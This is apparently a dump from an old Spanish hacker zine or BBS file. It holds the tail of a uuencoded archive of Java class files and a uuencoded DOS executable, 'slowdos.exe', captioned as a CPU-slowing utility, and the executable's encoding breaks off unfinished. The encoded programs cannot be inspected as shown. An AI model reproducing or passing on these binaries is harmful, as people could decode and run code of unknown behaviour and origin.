MH?0Z,=7.I5T#B4]K$6?RN=1AUP.C<.E`ZZ!<Q6'[5Y=B+@X[7=1AMU(5)#T.
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
:;&%S<U!+!08``````@`"`'D```!Q-P``````
`
end

{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]{]
[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}[}

 -Utilidad para disminuir los ciclos del CPU (ver colaboracion de Blacklash)

begin 644 slowdos.exe
M35I0`!,````"`/T`__\K`P`#`````````````'1ZPP#I`0`:ZT[#`%1:N&.8
M9`<!)0`[`W@1`0#^(B,`_B(+`0``&0,<:T(#QE(!_@IXQ9'F$8_LW_>5:SX`
M(``!`+1`NP(`BTP*BU0(`];-(;C_3,TAZ^J#[!"#Y."+[%"^!0$#-@$!C-*,
MV`-$##/"=<_\CL(S_[LA$#/2B\*Y"`#1X',",\/B^*O^QG7NC-I25@%4&`%4
M%`%4'(M4+HM,#O]T$,1\%L5T$OWH00!9270C48'&`("!QP"`C-F!Z0`(CMF,
MP8'I``B.P;D`0.@>`.O;_^->'[LX_P/>.U0P=?+$?!HF@7T"PP!UY_]L&JTS
MPJLR_XK>T>.*\HK0-C,7,O^*WM'CBO**U#8S%^+@PP=424Y94%)/1R!S87ES
M+"`B0F%D('!R;V=R86T@9FEL92$B#0H``````````````````,7O..A(@ZL(
MT7+!"L4LU)_0O(U*NHN5QQ:&GPT^+^?<8F9D4;%9YS8YX43L9PFK>VL;VZ-S
MH('RD(&[4G*V]`JCP>RZ?KM7P"=41>@<EH-R@Q'4)'FRA<SH&P!6]?7L2`DM
MUP2`DK8?)I[V<@1AK('C28>'E0)HLV1V!R13#S4>$Y39I;C+<?!T4BY*.VM3
MM.R:N89E%LVC4TM";OSGZ4@7UNHUI,N=F=8ELZD]XP3&,@E:F<NK>S\P44IA
MEIV?!I__IBOA>YPQNW,9+7[7$_S[-.5(_T"'#?G>EZ+XL6IR#1OC*M!]&N\H
MU%HWB>C0]%,2'9APB7:HSZV#?'"6J>#G%X3NP!^>=/A\%G3"'5X,Z#78GQWL
MIN_@PTJ6)+N$*ZI8.K:W(LR3DGK6ZM.)E"M-L9.FLPJ7HE35MFC1=+RH:,1?
MV"L0&J-J?I;3%(&[!E3:?L'AD06UR-M7@W&)@LP8BR]&[*-D!^@K2Z6G62)@
M3C#*GOTC#+J5RW-$X5J?CX!UBF)[]])N\9!&49V7U5X&*A+AU0]$4B<J1,W"
M8SSDD(M7R*GRT4VSLJ[,*C7(F\M7%6\@'6`(HRFOZ/EA/I###<2(5FV)BS`C
M-T:*D;`!65(J"A<B7G3/0K<=Y!J9Y3ENT20H3>>97+5J'C:`G1WXO6;A$,C\
MA]7F0;D+>D;"U<-@(P`][;X&9&L0N,ZB4-ALTUZ]^+6P8)V!'7O=XA*G)0!.
M\,!H3L)A*9VCL^"X;ZMSO=17VPD5&Q5@BV*;3`Q:>I8;S9Y'2))0;>NC[@X9
MSVAI9`SK='7!$T5:L%AQ+U(F]1D\42]L*`/N,[")]?RN8W+DBL&6J?J<8_(&
M*[R!TO+/CD,GIPO?%0D9MF7Q,$#6\=;5TRE_%(JWUPE8*E)L1\5^E'",Y;7U
M7$ES2S,!MH&/GPC5@WZBRS/V5U>1U(Z[#A7\-W*O6CI)?EAM*>R<^F)YO=T/
MP:Q3V7'&`/FHSQTV1#0064XVU\_Q"G)NW7FW0"9=W^1D=K@;"QKH$,1914S,
MU,\O22".'6\CHCN8LO2\;1[10O\L'`.>TE4Q_P/-F3>(GS)2>027_6TW^&/W
MXG``B#CE4F4&&<=[F/8"<R90FU$?LJIC72;Y[7C2(9`N0_A]S<W\`T2T$@8H
MD)XG8+&?XR[MA5S`@/'M(_"%]*!]*8R+*W9:GD?@&>AO17_;F^RH982W$>([
M.G:=Z-EIN*$(EB]FK(_?62?^@U9BTN5.)!M8MD/VSX#+L1X[*XABT$)]J"*F
M^IAH56THFY.7=/4:N76G3"MV6X3`9GD_Y3@)F[,73U^J^4&(;R=4VO<Y=I@W
MEO2[0WY&S%GACA*-L\F3Q?Q3G<,*]>FK,"_SKER+H59OW;"7-26V$/IP]$+S
MREMOUR.L=D+)DS1E2;NQQ9M<C2%:B43N_U`>-^NI'GR5F?D+@*0.#W0G6)#5
M@_+?6LAU*HX*<G)+*JZ3:2QH_9#M'\=`77NH`=X]\5_W11:^BRT:$]^Q4]P?
ME80N-^K+J<1WS)@>>IR1&[S*_32E7BU$81ZFLQ$.3_D?!):6Q@GIX)W]+<2X
M3YZ#-[:YPROS*/M"2BG<[]@JWI[2$$,V3^GTT*Q?F)&$D2.7CQ[*PG*,##BO
M:S)UJ59U@&1\_ME+F*M"9**Y8&;3W(\&$1SF$-V!8/[V/=&1=U@U\V*&5Z2*
MZGTSURJ]-+7MJGSWPFG4ID3GM&W*\MY^(A61SV5>QUD[&8<7=M!IT0,#(UI=
MYP#KM$^=L7W&/ILTD!#[L9$`SW(7">Y3`!VS_5LF5F[?\!&I?8MH_(]?BMH3
M._V"^]I'SQ,N."2JC[9#U/GO\L9(+KQT9AVF)2M$Q@R_!/`C_?1[GB3J/[/R
MZ]\X^<0%GUP>-P`$8LV*.,#4Y<J'3SD"3$B'2A,QY#0O+1AL6(ZG8ZLFL8[C
MFW9V<)+S0MM'D$40(0D+,-'-'>MGM`7:R&N9`0"JE-AV6Z817G+6OOPO4_@L
M"4=T6'9,X@*A]'S*1(.[$7(PFTPW.S$=MKT/U`B![*,'&C[9OG_)/)%ZRCU1
MI!ZXPB`"D&[6H-6^`#!$&"O!\!T:@6Y)3HA,"5G&NWRQMWHKD&XI/N%K3S(^
M\`LD/-ACL`TW@-&!EN)5[EAB5OHH!;/B_V6Q<<>^KFY%7T^%B5=\L2/_\.B$
MS"R$6BLKWKYV"+"@*'<`=&L,Y?AJ57[G"FK%L.`H"7&`Y50NYO,8LEB*<+:R
MMXX]1VD"LYMA%9U>AFMM5OP">FK=)<F)*\C/5P1\D6'2]#F4OSGF5:(W%X:M
MG^.4&J%(T^U0GANJXYWR7;J?G41(RW_.X9O8K^.BOS,'2(+UN"W;23-?I$CQ
MBO3))1Z&GY09@S*+*AW[L,-\:&5C*$Y']F4\]X=ID',"I[-RR]U8595@+&]E
M[!?0&>J&9PWHZ/[-?'WK\8"?Q%B(X.70+`U$>P1G_2>O+]3<T!JQ^VOBR@?W
M2]8Y.J(SA[('H(&_X-[#JH7^:8F3YFZN2LHA:`<;ZIN9*"2$+7*O,WR[**L@
MY)_2\-!=,;\<`0H:M9E`-%Y6@<XV,SNM#X0KK&I:F^,B>>Q5;$FKJB@*[JMV
M7NR(-E\\HE*Y0_!,=;LLOESV_QCA5$9VUG:M*9HMI151(&4[\@.IZK/RY++9
M4=??-AR@!5@B*$SRS23N(7D]DB:ZV$4KW+)9XN@PQ+.1`BP1_9BB\):]!8'D
M4PC]2*YH,E7RB#<]MUI9HB>9]TZLMC_0;M[OO;G880&B\#"$]*4VAD/[X4!?
M4#Y4X]S"B)]_]V4U<-3U[Q?B1,*>Z4Q6L$J_[0!T]8&E]WIS.BU8DF%364@R
M(K^L-:S8_KYB.*=>K*$36*O@A&Z,J%2A#IQ7%7R&GXM^30E*L/Q;`S#-?/D8
M?H"P%/&TF"N.LLQ]:F=))VQGC^@.DBT=KA,/#(W-MN?[(X7ENHD-1*&+&,1)
MA%\XV-PP7_+M8%\K=T&:-WN=.D_=#,,8]RKA&8%>#3(VPU_?@P<>'UA@+T^3
M,77N\P=Y!4'_#E"UT/R9.WNIH?0UU^0*O`\"OI&W+GAFW5Q=J)\]'M`ZB>J,
MY`-E&?:5YIO$!EB>?V)Y4F23+H:::1,SBH_+'+7I)-L,R`.:ZCM3VN%R?77(
M(_Q--0!7=5[6)-6$D\`D;<BHK_,/MDR]1RE<4!K;0%@EG-?&2,\@6-G_<OIN
M[^1!FNO^[UK6L+N:$A>X@()4E+;IG3)X#JFP!P6`]F-[.X"@]1Q5_7_$E;X'
M9_YJ!&![/`<BX?@>?=!M*EGN+HWF'K/L68?4G7A*_.\Z)2+O"P"=OH@<^R80
M;4"NM:=S9\:]M.?=,G6",+R)F.VICB4*WO461QWM2.>C#30RDW^#L6$J5;.D
M-T2AX^1`?[..^*Y&OJ-*=M"W@XT)T%:P^Q9CA1LXUX$5]'Y,\_'S77A2E?6`
MP(.R[IBK<IM8'EJRO6&88?A^]8'^@<\H1M2?I:WOFW)X`76BHXA6U=2?)>XK
ML\'W:8,02!UN;'*]4^J./UDU[)*`7LJE'OTO;B%/D^R`>03].K)GU[3%K8-N
MO_(OT_8%_,CJU,U0KG'(9QBT]D,V43?/@?1L>?B'R?DA=53LDU(1<&61(J=2
MM4CR'1GO\-!@*JM.QL4V([&#,*C$@;4HSK&>W`6H*]!F,]$RW`/)DJQFN?0C
M*5/.C:HAQDB6>QAICOR8JOGYL&_MTG1AF[+FQ&:Z1+@5KHH.?/^6Q3^I,2B"
M9VL*0\;5<@JW,?CIO9/(5FZ#[D\=('F^`\TL9#>9$\2+5%/>/\Y#N&H;@S-H
M<.4@&ZX@2>17$^605VM'N*67"XLI:T>JIE7I,(&=A5@,H@FL0\+2=)W/2+/D
MJPJH2;N`LS`X!,A0,$DORK7PKN:PP3[4(<E7T[PTDM02D?=&=G@0?D%S58%[
M#KZ+3TH`ZU&!(L2+P`=)B/#1$2P57?,S*=K*]Y]HYQDT-H:ZVC+H/X<HZR'<
M-'[K7%#Z0PXC4SR8A`OD`_4Y+OCV#>G7HDO(KHEW&SC(R4POAXJ[<HMWJ!<8
MD+7/Z[MTM<7S_^GE61T['NJUDZ9MM=[;N,PG*A=I_P1H1>N@/:U>\@FA"XD8
M*D0UHW;3,^PY3-5\'\Z:DET8/]=OV\5;BO^.XFX2+6R:,Y[RNBMSZG&Y27Q9
M]=FP--J&X9G^X'/'FKIRRJ79']4(BH]CNJP,]0((A!-LI*#OA@SI4YUR<7%^
M+1]]U<S9+(\J39PQ?$RC1=(Q4R*UA$H1P!L6Y`M.<*[I[RINUZ6Y4T'!108I
M%.U]Y%!\!ZWQ_;+M7@6XBMH@I2*,H1<TLHL=L0,P%'SQV??1AG"X7J5*@HF0
MLCQ5T3I%JK4_K)@]C<K9[`7H4I+X5^PV?VJ,XG=WGD`E2F8!&8^,&?`VZUJB
MZ?MKY0K(E2L_'7@'.FYH`QK`"<=&1N3[7F<<NLQE&U9F6H,,)\':L=VH3>:D
M'\"SK6`%Y$L!7@GT3^$<-U&FIF@I>#=?X@F/[2L\=%'DT;$K>=JD(3M)U>LQ
M'E5C7,VRN6V,FO.@DF2H%9U))F]X70/]969M+1>56<86B<:MH*Y==`T3Z';*
M9YRN,!MT?(5B4(_ZKR4JKM%G+15@)JV9.G2&XH7;6&<X26C4/N$;1?V6A&]\
M;MBN5HL4_`.E=**YPWAVV8*]7MUJ2LQ'J\L&K9.5N&\"'/5`[!PO1A`W$E%9
M)0FKCOB)85A,/H`%&*-"0OY`\NX?GV^VPLXG/.5^H31>H8-X6CFBU73C3&E,
M(<[3QL\CKI/6PA'8[>U4^>#\VVO<!V82EFT'9Q,C5&K6YPUBGJ-AXFEUO](W
MXL+[8#1%W%E\1,FV#.>,+3+^6\@_:'>FNEZ31_L\,V3GK*2]-&V2$=<(*&8&
M32KXF4Z--A7#*_[UJR)[#,-/^H53@MTD2!,S)2VR9$AT5Q>@/?&B9P,]D-X(
M/A%S&9`$I_*Z8'93#0*L[J>D7+F!"U_X<<.3?*V:.FAX9%K_+Z4(T7_LD@M!
M`6,B/I1]^YPJZ29_>T<<"#*;);X_??U#^@W^T:_0B[Q_@AC"E+^*=Y[`/,F7
ME>`1$"B[_?9;^Y^Z"6*CX:U-S7/!*J&+/!W*(HY\FE(5C%F^P$]_"XH35Q9\
ME>>U1M:YH:)\`/64[!XRF>)I7$9$*)OOSAL+,_X,D7(6O[HY<H!G,AM?8*#[
MCP;+B)Q0G5&+M2VVE([VF69,R*P3:)M%G,61#3/P>@XS>VAHEDKP#9.>AID.
M.:;)9<5<FI^MYM9;ETZB4^;2;&[H]=0@4;%WKG-2<$_<AQ0L,P&MH!FHG"S]
M%?N*;N@,IY&)1F8VD@3Y5JQE.\L>59?J7Z6U\+J@^9/YKFJ"PZ4,G6"A(YZ\
M]@K,=F=^Q,(!>&(^;OL&[M7K4*>Z(^+:%"AVGN(\%?H\*@G*-GKWN])V:XS&
M#KFGB!\U(LPK7FNAV=;#8U+X!;?+'Y;'_H\UJG]56ZD`<H]``72K9!:+X.^T
M"LE]Q;LEJQ-]&FXD0>VT+9*#7[8IMTY)XYB+'6F)^IB,*_:]S!=+ZBX]?3"?
M7E>%(45GK7F-&F6D.5!H?10&6WQ'&G20#.6Y':MXQ(LO&OFHYQ!V.Z;D+OYQ
M%2CV5W#]5)B:'00WM!8#4-^HEL^BK\-A?,K%O57\AT*\EI9PJIZI[^+I(G/J
MR472S*2\IRI+-JO12>+>,JVBYHLK\A&`,S./!?M0.4$<IR[[^G1^TWLC[]PM
MFF!YV!<4$P).F2N>JJ02.1\OK^/Y6.G9OR`N%QA6:YQA.IS(Z2T:W-_F++(B
M%;Y@BSKYEKT'E2$?#7120@FG9!*D$YXXI;4E7<!ME>-<#1Q-,_N%`1J3T*P6
MW0'5\1@J2MS@*0&N=QP3T-0/(626EKYL7-JH!]TJR6I';+`+V:`0DG%7)9NS
